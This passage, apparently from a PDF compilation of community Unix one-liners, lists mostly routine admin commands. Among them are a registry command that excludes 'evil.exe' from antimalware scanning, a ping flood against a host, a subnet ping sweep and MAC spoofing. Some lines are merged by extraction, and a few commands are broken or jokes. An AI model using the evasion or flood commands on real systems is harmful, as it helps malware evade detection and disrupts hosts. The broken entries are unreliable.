class=snubFontSmall>::g;s:&quot;:":g;s:^:\n:g;s:$:\n:'
# Delete all but the latest 5 files
ls -t | awk 'NR>5 {system("rm \"" $0 "\"")}'

# Watch for blocked NGINX processes for tuning purposes


> /tmp/psup.log; watch "ps up $(pgrep -d, -x nginx) | grep -v STAT | awk '{print $8}' | grep
-c [ZUTD] >> /tmp/psup.log; tail -n 22 /tmp/psup.log"
# Show internet IP Address in prompt --> PS1 var
export PS1="[\u@`curl icanhazip.com` \W]$ "
# open ports with iptables
sudo iptables -I INPUT -p tcp --dport 3000 -j ACCEPT
# Reload gnome-panel
pgrep -lf gnome-panel | awk '{if ($2=="gnome-panel") print $1}' | xargs kill -9
# Ping scanning without nmap
prefix="10.0.0" && for i in `seq 25`; do ping -c 1 $prefix.$i &> /dev/null && echo "Answer
from: $prefix.$i" ; done
# check open ports (both ipv4 and ipv6)
lsof -Pi | grep LISTEN
# hexadecimal2decimal
printf "%d\n" \0x64
# To reduce the size of saved webpages

593 / 658

All UNIX COMMANDS


find /path/to/webpages -type f -name '*.js' -exec 'rm' '{}' \;
# Chmod all files (excluding directories)
find public_html/ -type f -exec chmod 664 {} \;
# rkhunter (Rootkit Hunter) is a Unix-based tool that scans for rootkits, backdoors and
possible local exploits. rkhunter is a shell script which carries out various checks on the
local system to try and detect known rootkits and malware. It also performs c
rkhunter --check
# Open file with sudo when there is no write-permission
if test -w $1; then vim $1; else sudo vim $1; fi
# Selecting a random file/folder of a folder
for i in *; do echo "$i"; done | shuf -n1
# create backup for all files from current dir
find . -maxdepth 1 -type f -print0 | xargs -0 -i cp ./{}{,.bak}
# Grep with one result at a time
search="whatyouwant";data=$(grep "$search" * -R --exclude-dir=.svn -B2 -A2);for((i=$(echo
"$data" | wc -l);$i>0;i=$(($i-6)) )); do clear;echo "$data"| tail -n $i | head -n 5;
read;done
# Get memory total from /proc/meminfo in Gigs
memnum=$(awk '{ print $2 }' /proc/meminfo |head -n1); echo "$memnum / 1024 / 1024" | bc -l
# Show files and subdirectories in Terminal and copy output into a file
ls -la | tee ~/log.txt
# Serve the current directory at http://localhost:8000/
python -m SimpleHTTPServer
# External IP
curl www.whatismyip.org
# Get your current Public IP
curl icanhazip.com
# Launch an Explorer window with a file selected
explorer /select,[file]
# monitor the operation of a MySQL application in real time
mtop se -1
# List debian package installed by size
wajig large
# List your MACs address
ip addr show eth0 | grep ether | awk '{print $2}'
# Add some color to ls
eval "`dircolors -b`"
# Get your local/private IP
localIP() { ifconfig ${1:--a} | sed '/Link encap\|inet\|6 addr/!d;s/Link encap.*$//;s/.*inet
addr:\([0-9\.]*\).*/\1/g;s/.*inet6 addr: \(.*\) .*/\1/g' ; }

594 / 658

All UNIX COMMANDS


# get linkspeed, ip-adress, mac-address and processor type from osx
echo "-------------" >> nicinfo.txt; echo "computer name x" >> nicinfo.txt; ifconfig | grep
status >> nicinfo.txt; ifconfig | grep inet >> nicinfo.txt; ifconfig | grep ether >>
nicinfo.txt; hostinfo | grep type >> nicinfo.txt;
# Fast, built-in pipe-based data sink
command >&# Check failed logins from ipop service at some time given at linux
more /var/log/auth.log |grep "month"|grep ipop|grep "failed"|wc -l
# Generate SHA1 hash for each file in a list
sha1sum * >> SHA1SUMS
# Toggle the Touchpad on or off
xinput list | grep -i touchpad
# regex to match an ip
echo "123.32.12.134" | grep -P '([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[05])\.([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])'
# list current ssh clients
netstat -atn | grep :22 | grep ESTABLISHED | awk '{print $4}' | sed 's/:22//'
# List files in tarballs
find <path> -name "*.tgz" -or -name "*.tar.gz" | while read file; do echo "$file: "; tar
-tzf $file; done
# Copy files over network using compression
on the listening side: sudo nc -lp 2022 | sudo tar -xvf tar -cvzf - ./*| nc -w 3 name_of_listening_host 2022

and on the sending side:

# Turn Regular quotes ("") into curly quotes (??)


smartypants | php -r "echo
mb_decode_numericentity(file_get_contents('php://stdin'),array(0x0000,0xFFFF,0x0000,0xFFFF),
'UTF-8');"
# Display the open files for a process in AIX
svmon -P [PID] -O filename=on
# find files containing specifc pattern on filename and specific patternts in its content,
open all in textmate
find . -name "*noticia*" -name "*jhtm*" -name "*.tpl" -exec grep -li "id=\"col-direita\""
'{}' \; | xargs -n1 mate
# where am I in google map?
curl -s http://geoiplookup.wikimedia.org/ | python3 -c 'import sys, json, string,
webbrowser; webbrowser.open(string.Template("http://maps.google.com/maps?q=$lat,
$lon").substitute(json.loads(sys.stdin.read().split("=")[-1])))'
# Convert JSON to YAML
mv data.{json,yaml}
# Nice way to view source code
over myscript.sh
# Get all IPs via ifconfig
ifconfig | grep "inet addr" | cut -d: -f2 | cut -d' ' -f1
# shutdown pc in a 4 hours

595 / 658

All UNIX COMMANDS


echo "shutdown -h now" | sudo at now + 4 hours
# html formatting
curl --silent http://exsample.com/ | xmllint --html --format - | more
# Convert JSON to YAML
cp data.{json,yaml}
# Display lines with a given string
look mysql /etc/group
# Get a list of all browsable Samba shares on the target server.
smbclient -N -gL \\SambaServer 2>&1 | grep -e "Disk|" | cut -d'|' -f2
# Exclude a file or folder from Microsoft Forefront's scanning engine
reg add "HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Paths" /v
"C:\temp\evil.exe" /t REG_DWORD /d 00000000
# get one field inside another that is delimited by space
cut -f2 file.txt | cut -d " " -f1
# Automatd ssh public key setup without ssh-copy-id
echo 'Host or User@Host?:'; read newserver && ssh-keygen -N "" -t rsa -f ~/.ssh/id_rsa ; ssh
$newserver cat <~/.ssh/id_rsa.pub ">>" ~/.ssh/authorized_keys ; ssh $newserver
# Get the /dev/disk/by-id fragment for a physical drive
ls -l /dev/disk/by-id | egrep ata-.*`hdparm -i /dev/sda | grep SerialNo | sed
's/.*SerialNo=//' | tr -d "\n"`.*sda$ | sed -e 's/.*ata-/ata-/' -e 's|[ ].*||' | tr -d "\n"

# bash / vim workflow


zsh$ M-v
# Random Cyanide and Happiness comics from explosm.net
cyanide(){ display "$(wget -q http://explosm.net/comics/random/ -O - | grep -Po
'http://www.explosm.net/db/files/Comics/*/[^"]+(png|jpg|jpeg)')"; }
# Arguments too long
ls | grep ".txt$" | xargs -i WHATEVER_COMMAND {}
# Takes a multi line df or bdf and turns it into just one line
bdf | awk '(NF<5){f=$1; next} (NF>5){f=$1} {print f, $2, $3, $NF}'
# Lists the size of certain file in every 10 seconds
while true ; do du -sk testfile ; sleep 10 ; done
# List files in tarballs
for F in $(find ./ -name "*.tgz") ; do tar -tvzf $F ; done
# List files with quotes around each filename
ls | sed 's,\(.*\),"\1",'
# sshdo, an alternative to sudo
alias sshdo='ssh -q -t root@localhost -- cd $PWD \&\& sudo'
# start a nested awesome session
xinit $(which awesome) -- /usr/bin/Xephyr :5 -once -fullscreen -ac -keybd
"ephyr,,,xkbmodel=pc105,xkblayout=it,xkbrules=evdev,xkboption="

596 / 658

All UNIX COMMANDS


# Shuffles your songs. Using mplayer. But with no output.
mplayer -shuffle $HOME/music/* $HOME/Dropbox/Music/*/* $HOME/Dropbox/Music/*/*/* etc. >>
/dev/null 2>&1
# Batch resize images (overwriting)
for f in *.png; do convert $f -resize 852x480 $f; done
# Make alert if host is 'dead' or not reachable
10,30,50 * * * * ping -q -c1 -w3 192.168.0.14 | grep '1 received' - || env DISPLAY=:0 xeyes
# Extract .daa files with PowerISO
./poweriso extract $USER/file.daa / -od $USER/file_extracted
# Scan for viruses
clamscan -ir --bell ~user/
# Get your public ip
wget -qO - http://cfaj.freeshell.org/ipaddr.cgi
# Get My Public IP Address
curl http://whatismyip.org
# Undo
[Ctrl+u]
# Edit all "text" files (exclude binary and directories) in the current directory
ls . | xargs file | grep text | sed "s/\(.*\):.*/\1/" | xargs gedit
# List alive hosts in specific subnet
for i in 192.168.1.{1..254} ; do if ping -c1 -w1 $i &>/dev/null; then echo $i alive; fi;
done
# git log -n 1 -p FILENAME| head -n 1 | awk -F " " '{print $2}'
git last commit on a file.
# Real full backup copy of /etc folder
tar -cf - /etc | tar -xf - -C </destination/folder>
# Clear Cached Memory on Ubuntu
sudo sync && sudo echo 3 | sudo tee /proc/sys/vm/drop_caches
# Get the date for the last Saturday of a given month
cal 04 2012 | awk 'NF <= 7 { print $7 }' | grep -v "^$" | tail -1
# free swap
free -m | awk '/Swap/ {print $4}'
# Find all dot files and directories
ls -a | egrep "^\.\w"

# Facebook e-mail header X-Facebook IP deobfuscator


echo "X-Facebook: from zuckmail ([MTI3LjAuMC4x])" | cut -d \[ -f 2 | cut -d \] -f 1 |
openssl base64 -d
# Open Finder from the current Terminal location
open -a Finder <path>
# Easiest way to navigate to home

597 / 658

All UNIX COMMANDS


cd
# mount a msdos formated floppy disk
mount -t msdos /dev/fd0 /mnt/floppy
# Remove Thumbs.db files from folders
rm -fr `find . -name Thumbs.db`
# Download random gifs from gifbin.com
site="http://gifbin.com/"; for i in $(wget -qO- "$site"random| sed -r "s/^.*(bin\/.
+\.gif).*$/\1/m" | grep "^bin"); do wget -c "$site$i"; filename=`basename $i`; [ `identify
$filename | wc -l` -gt 1 ] || rm -f $filename; done
# repeat a command every x seconds
while x=0; do foo ; sleep 1 ; done
# Kills MYWIFE.
pkill -U MYWIFE
# Run Remote GUI Programs Using SSH Forwarding
ssh -C -X user@remotehost gui_command
# Outputs a 10-digit random number
n=$RANDOM$RANDOM$RANDOM; let "n %= 10000000000"; echo $n
# Check whether laptop is running on battery or cable
cat /proc/acpi/battery/*/state
# Process each item with multiple commands (in while loop)
find -maxdepth 1 -type d | while read dir; do echo $dir; echo cmd2; done
# get msn buddy's info
purple-remote "msn:getinfo?screenname=xxx"
# export iPad App list to txt file
cd "~/Music/iTunes/iTunes Media/Mobile Applications";ls > filepath
# I am using a desktop?
sudo hal-get-property --udi /org/freedesktop/Hal/devices/computer --key 'system.formfactor'
# Reorder file with max 100 file per folder
files -type f | xargs -n100 | while read l; do mkdir $((++f)); cp $l $f; done
# Get your external IP address
curl icanhazip.com
# count how many cat processes are running
ps -a |grep cat |wc -l
# Rename all files which contain the sub-string 'foo', replacing it with 'bar'
rename foo bar directory/filename
# How to execute and encrypted and password-protected bash script?
echo "ls" > script.bash; gpg -c script.bash; cat script.bash.gpg | gpg -d --no-mdc-warning |
bash
# Inserting a decimal every third digit
perl -lpe'1 while s/^([-+]?\d+)(\d{3})/$1.$2/'
# batch crop images whit imagemagik

598 / 658

All UNIX COMMANDS


for k in *.png; do convert $k -crop <width>x<high>+<cropwidth>+<cropthigh> <newpath>/$k;
done
# tail, with specific pattern colored
tail -f file | egrep --color=always $\|PATTERN
# Purge frozen messages in Exim
for i in `mailq | awk '$6 ~ /^frozen$/ {print $3}'`; do exim -Mrm $i; done
# Unmount locked filesystems.
umount -l /media/foo

# Purge frozen messages in Exim


exipick -zi | xargs exim -Mrm
# Rickroll your users who try to sudo
echo "alias sudo=\"aplay annoyingsoundfile.ogg\"" >> .bash_aliases
# cut with tab or other white space chars
cut -f1 -d"<TAB>"
# Listen and sort your music, with prompt for deleting
for i in $(ls *.mp3); do mplayer $i && echo "delete it? [y/n]" && read trash && if
[ "$trash" == "y" ]; then rm $i; fi; do
# Update all packages installed via homebrew
brew update && brew install `brew outdated`
# Convert images (foo.gif => foo.jpg)
for i in **/*.gif; convert $i $i:r.jpg
# count how many cat processes are running
pgrep -c cat
# Get the rough (german) time from Twitter by @zurvollenstunde
printf "%02d:%02d\n" $(curl -s "http://search.twitter.com/search?from=zurvollenstunde&rpp=1"
| grep -E '(Es ist jetzt|ago)' | sed 's/<[^>]*>//g;s/[^[:digit:]]//g' | xargs )
# Bulk copy large blocks of data between File Systems (run as root iff you do not own all of
the files!)
tar cpof - src |( cd des; tar xpof -)
# count how many cat processes are running
ps -cx cat
# Write in a text file the contents of all the zip files in a directory.
for file in *.zip; do unzip -l "$file" >> archiveindex.txt ; done;
# Get your external IP address
echo -e "GET /ip HTTP/1.0\nUser-Agent: netcat\nHOST: ifconfig.me\n\n" | nc ifconfig.me 80 |
sed -n '/^[0-9]/p'
# Remove executable bit from all files in the current directory recursively, excluding other
directories, firm permissions
find . -type f -exec chmod 640 {} ';'
# x86info
x86info

599 / 658

All UNIX COMMANDS


# Pipe ls output into less
function lsless() { ls "$@" | less; }
# Wait for an already launched program to stop before starting a new command.
while (ps -ef | grep [r]unning_program_name); do sleep 10; done; command_to_execute
# Find out if a module is installed in perl
perl -MFile::Find=find -MFile::Spec::Functions -Tlwe '$found=1; find { wanted => sub { if (/
$ARGV[0]\.pm\z/) { print canonpath $_; $found=0; } }, no_chdir => 1 }, @INC; exit $found;'
Collectd/Plugins/Graphite
# Find everything updated in the last minute recursively within the current directory and
sort by time, newest at the bottom.
ls -lF -darth `find . -mmin -3`
# import database
mysql>use DBNAME;

mysql>source FILENAME

# counting a particular character in a file


fold -w 1 <file> | grep -c <character>
# Find/Replace in a bunch of files and keep a log of the changes
find . -type f | xargs grep -n "Old Text" | tee filesChanged.txt | sed 's/:.*$//' | xargs
sed -i 's/Old Text/New Text/g
# Find out if a module is installed in perl
module_exists(){ perl -e 'use '$1 2>/dev/null; }
# Remove the Apple quarantine
find . | xargs xattr -d com.apple.quarantine
# generate /etc/shadow-style password
mkpasswd -5 pa33w0rd saltsalt
# Create a mysql database from the command line
mysqladmin -u username -p create dbname

# startx output to log file


startx > startx.log 2>&1
# Mount a disk image (dmg) file in Mac OSX
hdid somefile.dmg
# count directory space usage in current directory with sort for microsoft windows
diruse /,/M/* .|sort
# UBNT device
iwlist ath0 scanning |egrep '(ESSID|Signal|Address)'| \sed -e 's/Cell - Address:*//g' -e
's/ESSID://g' \-e 's/Noise level=-//g' -e 's/dBm//g' \-e 's/Quality=*//g' -e 's/Signal
level=-//g' \-e 's/"//g'
# Recursively delete .svn folders
find . -name .svn | xargs rm -rf
# Get the weather forecast for the next 24 to 48 for your location.

600 / 658

All UNIX COMMANDS


curl -s http://api.wunderground.com/auto/wui/geo/ForecastXML/index.xml?query=${@:<YOURZIPORLOCATION>}|xmlstarlet sel -E utf-8 -t -m //forecast/txt_forecast/forecastday -v
fcttext -n
# alias ps | grep
alias kfire='for i in `ps aux | grep [F]irefox `; do echo $i; kill $(($i)); done; '
# download a list of urls
cat urls.txt | xargs -n1 curl -O --max-time 10 --retry 3 --retry-delay 1
# Play a video and show timecode ovelray
melt dvgrab-010.m2t meta.attr.titles=1 meta.attr.titles.markup=#timecode# -attach data_show
dynamic=1
# best command for searching files
find / -name \*string\*
# Not so simple countdown from a given date
watch -tn1 'bc<<<"`date -d'\''friday 21:00'\'' +%s`-`date +%s`"|perl
-ne'\''@p=gmtime($_);printf("%dd %02d:%02d:%02d\n",@p[7,2,1,0]);'\'
# Alias to connect every single node of cluster
alias connectAllMachines='Terminal --maximize -e "ssh server1" --tab -e "ssh server2" --tab
-e "ssh server3"'
# Set case insensitive in VI
:set ic
# Checking total connections to each Ip inserver
netstat -alpn | grep :80 | awk '{print $4}' |awk -F: '{print $(NF-1)}' |sort |
uniq -c | sort -n
# Display a random man page
dir="/bin"; man $(ls $dir |sed -n "$(echo $(( $RANDOM % $(ls $dir |wc -l | awk "{ print
$1; }" ) + 1 )) )p")
# Copy paste contents quickly and save as a file
cat > file_name
# kerberos authentication
kinit username
# Display a random man page
man $(ls /bin | sed -n $((RANDOM % $(ls /bin | wc -l) + 1))p)
# Say no to overwriting if cp -i is the default alias.
yes n | cp something toSomeWhereElse
# Get your current Public IP
alias myip='curl -s http://checkrealip.com/ | grep "Current IP Address"'
# Unarchive entire folder
for f in *;do case "$(echo $f|sed "s/.*\.\([a-z\.]*\)/\1/g")" in zip)unzip -qqo $f&&rm
$f;;tar.gz|tar.bz2)tar xf $f&&rm $f;;rar)unrar e -o+ -r -y $f&&rm $f;;7z)7z e -qqo
$f;;esac;done
# Start Chrome with socks on Mac OSX
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --proxyserver=socks5://HOST:PORT

601 / 658

All UNIX COMMANDS


# Get DELL Warranty Information from support.dell.com
curl -Ls "http://support.dell.com/support/DPP/Index.aspx?c=us&cs=08W&l=en&s=biz&ServiceTag=$
(dmidecode -s system-serial-number)"|egrep -i '>Your Warranty<|>Product Support for'|
html2text -style pretty|egrep -v 'Request|View'|perl -pane 's/^(\s+|\})//g;'
# Get your current Public IP
curl -s http://checkrealip.com/ | grep "Current IP Address" | cut -d ' ' -f 4
# remove file named 1 after fat fingeriing :w! in vi
:rm 1

# Quickly determine lines in terminal


_llines=100; while [ $_llines -gt 1 ]; do echo $_llines; _llines=$(($_llines-1)); done
# shows which files differ in two direcories
diff -qr /dirA /dirB
# Change directory by inode
cd $(find -inum inode_no)
# Mount a windows partition in a dual boot linux installation...[Read Only Mounting]
mount -o auto -t ntfs /dev/hda1 /windows
# Script to rip the audio from the youtube video you have open in firefox
video=$(ls /tmp | grep -e Flash\w*); ffmpeg -i /tmp/$video -f mp3 -ab 192k ~/ytaudio.mp3
# Recompress all text files in a subdirectory with lzma
find . -name '*.txt' | grep -v '\.lzma$' | xargs -n 1 lzma -f -v -3
# recursive remove all htm files
rm **/*.htm
# Get the size of every directories and files in a path recursively
for i in $(ls /the/path); do du -hs /the/path/$i; done
# Show who is logged on and find out what they are doing
watch w
# whois multiple domains
for domain in `cat list_of_domains.txt`; do echo $domain; whois $domain >> output.txt; done
# Open files in tabs with vim
vim -p file1 file2 [...]
# view user friends
lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?u=4&__a=1' |
gawk -F'\"t\":\"' -v RS='\",' 'RT{print $NF}' |grep -v '\"n\":\"' |cut -d, -f2
# List SMTP connections by host
cat /var/log/secure | grep smtp | awk '{print $9}' | cut -f2 -d= | sort | uniq -c | sort -n
| tail
# show all upd tcp an icmp traffic but ssh
tcpdump -n -v tcp or udp or icmp and not port 22
# Eliminate duplicate lines on a file
cat file1.txt | uniq > file2.txt

602 / 658

All UNIX COMMANDS


# Using wget to receive an XML atom feed of your Gmail inbox
wget -O - 'https://USERNAMEHERE:PASSWORDHERE@mail.google.com/mail/feed/atom' --no-checkcertificate
# To display the number of hard disks on your system
lspv
# Recursively remove all empty directories
find . -depth -type d -empty -exec rmdir -v {} \;
# delete files older than 1 month in a directory
require 'time';backup_dir = '/path';Dir.glob(backup_dir+"/*.sql").each{ |f| filetime =
Time.parse(`mdls -name kMDItemContentCreationDate -raw #{f}`);monthago = Time.now - (30 * 60
* 60 * 24);`rm #{f}` if filetime < monthago }
# Show a config file without comments
grep -Pv '^\S*(#|$)'
# Running VirtualBox as headless
nohup VBoxHeadless -p 3052 -startvm ServidorProducao &
# Execute a command with a timeout
timelimit -t100 somecommand
# Search term while reading man page
/foo
# Convert unix timestamp to date
echo $EPOCH|awk '{print strftime("%c",$1)}'
# tar - extract only one file
tar zxvf package.tar.gz --strip 1

# Generate a test csv file using looping in AIX


i=0; while [ $i -lt 100 ]; do echo "test, ttest, tttest-${i}" >> kk.file; i=`expr $i + 1`;
done
# Count all files in a directory
ls | wc -l
# Look for a string in one of your codes, excluding the files with svn and ~ (temp/back up
files)
find . -type f -exec grep StringToFind
\{\} --with-filename \;|sed -e '/svn/d'|sed -e
'/~/d'
# find the device when you only know the mount point
df | grep -w /media/KINGSTON | awk {'print $1'}
# encode/decode HTML entities
xml2asc < inputfile > outputfile
# Remote Screenshot
export DISPLAY=":0.0" && import -window root screenshot.png
# Add a list of numbers
awk '{total+=$0}END{print total}' file
# Find top 5 big files

603 / 658

All UNIX COMMANDS


find . -type f -exec ls -s {} \; | sort -n -r | head -5
# Print your local hostname with python
python -c "import platform; print platform.node()"
# Add a list of numbers
paste -sd'+' file|bc -l
# if you are alone and have to determine which switch port your server ends ... here we go
for i in $(seq 300) ; do ethtool -s eth0 autoneg on ; sleep 2 ; done
# Add a list of numbers
echo "1+2+3+4" | bc
# delete all tasks scheduled for the local computer
schtasks /delete /tn * /f
# Print file content in reverse order
tac [FILE]
# Show the number of current httpd processes
netstat -l -p --tcp | egrep -e 'www.*[0-9]{3,4}\/(apache2|httpd)' | awk '{print$7}'
# kills all php5-fcgi processes for user per name
pgrep -u username php5-fcgi | xargs kill -9
# Create a git repository
git-createrepo() { repos_path='/srv/git/'; mkdir $repos_path$1; cd $repos_path$1;
git init
--bare;
echo "Repository location: ssh://$USER@`cat /etc/HOSTNAME``pwd`"; cd -; }
# rm filenames with spaces
find /Users/jpn/.ievms/ -type f -print0| xargs -0 du -sh
# unzip all zip files under a current directory in the directory those files were in
for f in `find ./ -name "*.zip"` ; do p=`pwd`; d=`dirname $f`; cd $d; b=`basename $f`; unzip
$b; cd $p; done
# Outputs size of /example/folder in human readable format.
du -hs /example/folder/
# get debian version number
lsb_release -a
# checksum a directory / files
tar -cf - file1 dir1/ dir2/ | md5sum
# uninstall Air on Ubuntu
sudo dpkg -P $(dpkg -l | grep -i adobeair)
# CPU model
cat /proc/cpuinfo
# Display a list of upgradeable packages (apt)
apt-show-versions -u

# See where MySQL is looking for its config files


mysql -? | grep ".cnf"

604 / 658

All UNIX COMMANDS


# Empty a file of contents
> [filename]
# Print out "string" between "match1" and "match2"
echo "string" | sed -e 's/.*match1//' -e 's/match2.*$//'
# Get the mac address of eth0 in uppercase minus the colons
ifconfig eth0 | grep 'HWaddr' | awk '{print $5}' | tr 'a-z' 'A-Z' | sed -e 's/://g'
# Convert wav to mp3
lame rec01.wav rec01.mp3
# Convert .wav audio files to .gsm forman
sudo sox <file name>.wav -r 8000 <file name>.gsm
# List all files in current directory by size
du -sh *
# List all symbolic links in current directory
ls -l `ls -l |awk '/^l/ {print $8}'`
# Convert .wav audio files to .gsm format
sudo sox <file name>.wav -r 8000 <file name>.gsm
# LIST FILENAMES OF FILES CREATED TODAY IN CURRENT DIRECTORY
TODAY=`date +"%b %d"`;ls -l | grep "$TODAY" | awk '{print $9}'
# Copy with progress
copy(){ cp -v "$1" "$2"&watch -n 1 'du -h "$1" "$2";printf "%s%%\n" $(echo `du -h "$2"|cut
-dG -f1`/0.`du -h "$1"|cut -dG -f1`|bc)';}
# See where a shortened url takes you before click
curl -s http://urlxray.com/display.php?url=http://tinyurl.com/demo-xray | grep -o
'<title>.*</title>' | sed 's/<title>.*--> \(.*\)<\/title>/\1/g'
# Move files around local filesystem with tar without wasting space using an intermediate
tarball.
tar -C <source_dir> -cf . | tar -C <dest_dir> -xf # Get your local IP regardless of your network interface
ifconfig | grep "inet\ " | grep -v "127.0" | sed -e 's/inet\ addr://g' | sed -e
's/Bcast:/\ \ \ \ \ \ \ /g' | cut -c 1-29 | sed -e 's/\ //g'
# open the last folder created
cd $(ls -1t --color=never | head -1)
# LIST FILENAMES OF FILES CREATED TODAY IN CURRENT DIRECTORY
ls -la | grep $(date +%Y-%m-%d) | egrep -v -e '\.{1,2}' | sed "s/.*\:[0-9]\{2\} \(.\+\)
$/\\1/g"
# Save iptables firewall info
sudo iptables-save > /etc/iptables.up.rules
# Counts the number of TODOs in files with extension EXT found from the current dir.
find . -name "*.EXT" | xargs grep -n "TODO" | wc -l
# Delete an hard disk entry in Virtualbox registry
sed -i '/Centos/d' VirtualBox.xml

605 / 658

All UNIX COMMANDS


# Important 'default VLAN' command, for Foundry (Brocade) RX and MLX BigIron L3 (routers &
switches)
no untag
# Displays a 3-Month Calendar
cal -3
# Convert all .wav to .mp3
ls *.wav | while read f; do lame "$f" -o "$(echo $f | cut -d'.' -f1)".mp3; done;
# 802-1w (RSTP) 'root port' hard code, Foundry (Brocade) RX and MLX BigIron L3 (routers &
switches)
rstp priority 0
# remove all files except *.txt
rm !(*.txt)
# tacacs+ Auth to (Cisco ACS) from Foundry (Brocade) RX and MLX BigIron L3 (routers &
switches)
aaa authentication login default local tacacs+

# to clone an NTFS partition


ntfsclone
# fiber power levels on Foundry (Brocade) RX and MLX BigIron L3 (routers & switches)
show optic <slot #>
# Base64 decode
echo Y29tbWFuZGxpbmUuZnUgcm9ja3MK | base64 -d
# Firefly quotes
yum install fortune-firefly; fortune
# create an empty NTFS partition
mkntfs /dev/hda1
# open an mac application from mac osx command line terminal
open -a /Applications/Safari.app $1
# Run puppet agent in one-off debug mode
puppetd -t
# Mount an external FAT32 USB HDD
sudo mount -t vfat /dev/sdb1 /mnt/sdb1
# List files that DO NOT match a pattern
ls *[^p][^a][^t]* ; # or shopt -s extglob; ls !(*pattern*)
# show your private/local ip address
ifconfig | sed '/.*addr.*Bcast.*/ ! d'| sed 's/.*addr:\([0-9\.]*\).*/\1/'
# Partition a new disk as all one partition tagged as
echo -e "o\nn\np\n1\n\n\nw\n" | fdisk /dev/sdX
# Get all members from one AD group and put them in another AD group
for /F "DELIMS=""" %i in ('dsquery group -name SourceGroupName ^| dsget group -members') do
dsquery group -name TargetGroupName | dsmod group -addmbr %i

606 / 658

All UNIX COMMANDS


# show your private/local ip address
ifconfig | awk '/inet addr/ &&! /127.0.0.1/{ gsub(/addr:/,""); print $2 }'
# Toggle the Touchpad on or off
if [ $(synclient -l | grep TouchpadOff | awk '{print $3}') = "2" ]; then synclient
TouchpadOff=1; elif [ $(synclient -l | grep TouchpadOff | awk '{print $3}') == "1" ]; then
synclient TouchpadOff=2; else synclient TouchpadOff=2; fi
# A bash prompt which shows the bash-version
PS1="$BLUE[$CYAN\u$BLUE@$CYAN\h$WHITE-bash \v:$GREEN\w$BLUE]$WHITE \$ "
# Mac, ip, and hostname change - sweet!
ifconfig eth0 down hw ether (newmacaddresshere) && ifconfig eth0 up && ifconfig eth0
(newipaddresshere) netmask 255.255.255.0 up && /bin/hostname (newhostnamehere)
# close stderr
cat aaaaaa 2>&# example usage of sar
sar -g 5 5
# Recursive file content search
find . -name *.php | xargs grep -i -n 'TERM'
# YES = NO
yes | tr 'y' 'n'
# Copy all JAR files to folder /tmp
find . -iname "*.jar" -exec cp '{}' /tmp/ \;
# Search through files, ignoring .svn
find . -type f -print0 | grep -vzZ '.svn' | xargs -0 grep --color -nEHi "SEARCHTERM"
# Search through your command line history
set -o vi
# copy partition table from /dev/sda to /dev/sdb
sfdisk /dev/sdb <(sfdisk -d /dev/sda| perl -pi -e 's/sda/sdb/g')
# convert vdi to vmdk (virtualbox v3.2 hard disk conversion to vmware hard disk format)
vboxmanage clonehd --format VMDK <source image|uuid> <destination image>

# get you public ip address


curl ifconfig.me
# Edit a file using vi or vim in read-only mode
vi -R filename
# find a class or file within a number of jar files
for i in `find . | grep jar$`; do echo $i; jar tvf $i | grep 'search-string'; done;
# Recursive and alphabetical orderly cp
for file in `find *| sort -n | sed 's% %?%g'`; do echo "${file//?/ }"; cp --parents "$
{file//?/ }" /destinity_folder/ ;done
# get today's xkcd
a=`curl http://xkcd.com 2>/dev/null | grep -iE 'src=.*imgs.xkcd.com/comics/'`; b=`echo $
{a#*src=\"}`; eog ${b%%\"*}

607 / 658

All UNIX COMMANDS


# kill some process (same as others) but parsing to a variable
tokill=`ps -fea|grep process|awk '{ printf $2" "}'`; kill -9 $tokill;
# Download a complete podcast
wget -c -v -S -T 100 --tries=0 `curl -s http://ms1.espectador.com/
podcast/espectador/la_venganza_sera_terrible.xml | grep -v xml | grep link | sed 's/]*>//g'`
# Quickly backup your current directory
alias backup_dir='mkdir -p .backup && cp * .backup'
# Find files and list them with a readable informative output
find . -type f | sed 's,.*,stat "&" | egrep "File|Modify" | tr "\\n" " " ; echo ,'
sed 's,[^/]*/\(.*\). Modify: \(....-..-.. ..:..:..\).*,\2 \1,' | sort

| sh |

# convert all WAVs from any format (MS ADPCM) to PCM


for file in $(find -type f -iname "*wav"); do mv $file "$file"_orig.WAV; mplayer -ao pcm
"$file"_orig.WAV -ao pcm:file=$file; done
# Useful if you need to see compiler errors while edit a code
alias clear='( for ((i=1;i<$LINES;i++)) ; do echo "" ; done ) ; clear'
# count the number of times you match a substring in a larger text file
sed ?s/[sub_str]/[sub_str]\n/g? [text_file] | wc -l
# Move files older than 30 days in current folder to "old" folder
for i in $(find . -mtime +30); do mv $i old/; done
# Get top 10 largest directories under cwd
du | sort -n | tail -11 | head
# Search and replace in multiple files and save them with the same names - quickly and
effectively!
for files in $(ls -A directory_name); do sed 's/search/replaced/g' $files > $files.new && mv
$files.new $files; done;
# Get a text on a position on the file and store in a variable with a specific separator
TIMEUNIT=$( cat a | grep -n "timescale" | awk -F ":" '{ print $1 } ' )
# Ping flood
sudo ping -f -s 56500 192.168.1.100
# Set Permission to user and group
chown -R webuser:webgroup /var/www/vhosts/domain.com/httpdocs
# On Linux boxes, sets the
gconftool-2 --set /apps/metacity/global_keybindings/panel_main_menu --type string "Super_L"
# disable touchpad
synclient TouchPadOff=1
# enable touchpad
synclient TouchPadOff=0
# Read Nth column (e.g. 2nd column) of a row of data in a file that has a specific word
(e.g. HOME) on that row and extract the last delimited value for the specified delimiter
(e.g. /)
grep 'HOME.*' data.txt | awk '{print $2}' | awk '{FS="/"}{print $NF}' OR USE ALTERNATE WAY
awk '/HOME/ {print $2}' data.txt | awk -F'/' '{print $NF}'

608 / 658

All UNIX COMMANDS


# Go to the last directory invoked on command line
cd !$
# Individually compress each file in a directory
gzip *
# show system installation date
tune2fs -l $(df -P / | tail -n1 | cut -d' ' -f1 ) | grep 'Filesystem created:'

# sudo for launching gui apps in background


sudo ls ; sudo gedit /etc/passwd &
# ldapsearch -x -s base namingContexts -LLL
list the naming contexts of a directory server (no need to search in config files)
# Run ADSL connection
pon dsl-provider
# remove exact phrase from multiple files
grep -r "mystring" . |uniq | cut -d: -f1 | xargs sed -i "s/mystring//"
# List dot-files and dirs, but not "." and ".."
ls .[!.]*
# oneliner to open several times same application
for ((i=0;i<5;i++)) ; do xpenguins & done
# Network Interfaces
netstat -ie
